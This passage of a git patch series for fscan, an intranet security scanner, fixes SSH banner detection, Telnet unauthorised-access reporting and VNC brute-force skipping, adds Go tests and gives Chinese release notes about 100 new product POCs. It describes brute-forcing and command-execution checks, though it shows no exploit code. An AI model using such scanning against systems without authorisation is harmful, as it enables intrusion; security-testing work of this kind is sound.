:= conn.Read(banner) - if err != nil || n < 4 { - return "" - } + // RFC 4253 permits servers to send informational lines before the SSH + // identification string. Read bounded lines until the protocol banner is + // found instead of requiring SSH- at the first byte of the first read. + reader := bufio.NewReaderSize(conn, 256) + for range 50 { + line, err := reader.ReadString('\n') + if len(line) > 255 { + return "" + } - bannerStr := strings.TrimSpace(string(banner[:n])) + banner := strings.TrimSpace(line) + if strings.HasPrefix(banner, "SSH-") { + if matched := sshBannerRegex.FindStringSubmatch(banner); len(matched) >= 3 { + return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2]) + } + return i18n.Tr("ssh_service_banner", banner) + } - if strings.HasPrefix(bannerStr, "SSH-") { - if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 { - return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2]) + if err != nil { + return "" } - return i18n.Tr("ssh_service_banner", bannerStr) } return "" diff --git a/plugins/services/ssh_test.go b/plugins/services/ssh_test.go index a5208a4..e3a27af 100644 --- a/plugins/services/ssh_test.go +++ b/plugins/services/ssh_test.go @@ -4,9 +4,47 @@ package services import ( "errors" + "net" "testing" + "time" + + "github.com/shadow1ng/fscan/common" ) +func TestReadSSHBannerAllowsPreBannerLines(t *testing.T) { + client, server := net.Pipe() + defer client.Close() + defer server.Close() + + go func() { + _, _ = server.Write([]byte("Authorized access only\r\nSSH-2.0-OpenSSH_9.6\r\n")) + }() + + cfg := common.NewConfig() + cfg.Timeout = time.Second + got := NewSSHPlugin().readSSHBanner(client, cfg) + if got != "SSH 2.0 (OpenSSH_9.6)" { + t.Fatalf("readSSHBanner() = %q", got) + } +} + +func TestReadSSHBannerRejectsNonSSHService(t *testing.T) { + client, server := net.Pipe() + defer client.Close() + defer server.Close() + + go func() { + _, _ = server.Write([]byte("HTTP/1.1 200 OK\r\n")) + _ = server.Close() + }() + + cfg := common.NewConfig() + cfg.Timeout = time.Second + if got := NewSSHPlugin().readSSHBanner(client, cfg); got != "" { + t.Fatalf("readSSHBanner() = %q, want empty", got) + } +} + func TestClassifySSHErrorType(t *testing.T) { tests := []struct { name string diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index eeefd88..ca9d539 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -61,12 +61,11 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 检测未授权访问 if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { - session.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) - // 验证命令执行能力 if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok { + session.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) session.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) + return result } - return result } // 生成密码字典 diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index 9d6aec3..06c5e9a 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -34,6 +34,15 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return result } + // -nobr 仅保留未授权访问检测，不继续尝试密码。 + if config.DisableBrute { + return &ScanResult{ + Type: plugins.ResultTypeService, + Success: true, + Service: "vnc", + } + } + // 生成密码列表 var credentials []Credential if config.Credentials.Passwords != nil { diff --git a/plugins/services/vnc_test.go b/plugins/services/vnc_test.go index b686d13..5a28c85 100644 --- a/plugins/services/vnc_test.go +++ b/plugins/services/vnc_test.go @@ -3,10 +3,59 @@ package services import ( + "context" "errors" + "net" + "strconv" + "sync/atomic" "testing" + "time" + + "github.com/shadow1ng/fscan/common" ) +func TestVNCDisableBruteOnlyChecksUnauthenticatedAccess(t *testing.T) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer listener.Close() + + var connections atomic.Int32 + go func() { + for { + conn, err := listener.Accept() + if err != nil { + return + } + connections.Add(1) + _ = conn.Close() + } + }() + + host, portText, err := net.SplitHostPort(listener.Addr().String()) + if err != nil { + t.Fatal(err) + } + port, err := strconv.Atoi(portText) + if err != nil { + t.Fatal(err) + } + + cfg := common.NewConfig() + cfg.DisableBrute = true + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + result := NewVNCPlugin().Scan(context.Background(), &common.HostInfo{Host: host, Port: port}, session) + if result == nil || !result.Success || result.Service != "vnc" { + t.Fatalf("Scan() = %#v, want identified VNC service", result) + } + + time.Sleep(20 * time.Millisecond) + if got := connections.Load(); got != 1 { + t.Fatalf("connections = %d, want one unauthenticated-access check and no password attempts", got) + } +} + func TestClassifyVNCErrorType(t *testing.T) { tests := []struct { name string From 5bda99528b27d22ae2dd2cfdc8ec96689d708d50 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Wed, 26 Aug 2026 04:31:59 +0800 Subject: [PATCH 7/7] docs: add v2.2.1 release notes --- .github/release-notes/v2.2.1.md | 64 +++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 .github/release-notes/v2.2.1.md diff --git a/.github/release-notes/v2.2.1.md b/.github/release-notes/v2.2.1.md new file mode 100644 index 0000000..5f1a7c1 --- /dev/null +++ b/.github/release-notes/v2.2.1.md @@ -0,0 +1,64 @@ +# fscan v2.2.1 + +v2.2.1 是 v2.2 系列的稳定性修复版本，重点解决大规模扫描提前结束、开放端口漏扫、服务识别误差和协议插件异常，并扩充常见内网产品的 POC 覆盖。 + +--- + +## 重点变化 + +### 扫描稳定性 + +- 默认不再启用全局扫描超时，避免大网段或弱网络环境下扫描被整体提前终止 +- `-gt` 仍可用于显式设置全局超时；嵌入式 SDK 同样支持按需配置 +- 修复高并发场景下自适应超时过低导致开放端口漏扫的问题 +- 扫描异常退出时正常执行结果清理和落盘，避免主结果为空及 `.realtime.tmp` 残留 + +### 服务识别与协议插件 + +- 修复 `-nobr` 下 VNC 仍继续尝试密码的问题 +- Telnet 未授权结果增加真实命令执行验证，降低提示符误报 +- SSH 服务识别支持 RFC 4253 允许的 identification 前提示行 +- 修复 RDP Fast-Path 数据早于监听器初始化时触发的 nil pointer panic +- 通用 SSL/TLS 指纹不再直接判定为 Web 服务，减少 MQTT TLS 等非 HTTP 服务的握手报错 + +### POC 覆盖 + +新增 100 个经过整理的内网常见产品 POC，覆盖： + +- 泛微、致远、蓝凌、万户、通达、用友、金蝶、金蝶云星空 +- H3C、海康威视、锐捷、深信服、契约锁、帆软 +- Nacos、Kubernetes、GitLab、Jenkins、Hadoop、Spark、Solr、Elastic Stack 等 + +同时补充第三方来源说明，并为新增 POC 增加加载测试。 + +--- + +## 已解决 Issue + +- #596 Telnet 未授权误报 +- #598 高并发下开放端口漏扫 +- #599 `-nobr` 未阻止 VNC 密码尝试 +- #600 TLS 服务扫描报错、结果文件为空及临时文件残留 +- #601 SSH 服务端口无法识别 +- #603 RDP Fast-Path nil pointer panic + +--- + +## 升级说明 + +- 从 v2.2.0 可直接升级 +- 如需限制整个扫描任务的最长运行时间，请显式传入 `-gt <秒数>` +- POC 仅用于已获授权的安全测试环境 + +## 校验 + +本版本已通过： + +- `go test ./...` +- GitHub Actions 测试构建 +- GoReleaser 全平台 snapshot 构建 +- VNC、SSH、RDP、Telnet 和 Web 服务识别回归测试 + +完整变更记录： + +https://github.com/shadow1ng/fscan/compare/v2.2.0...v2.2.1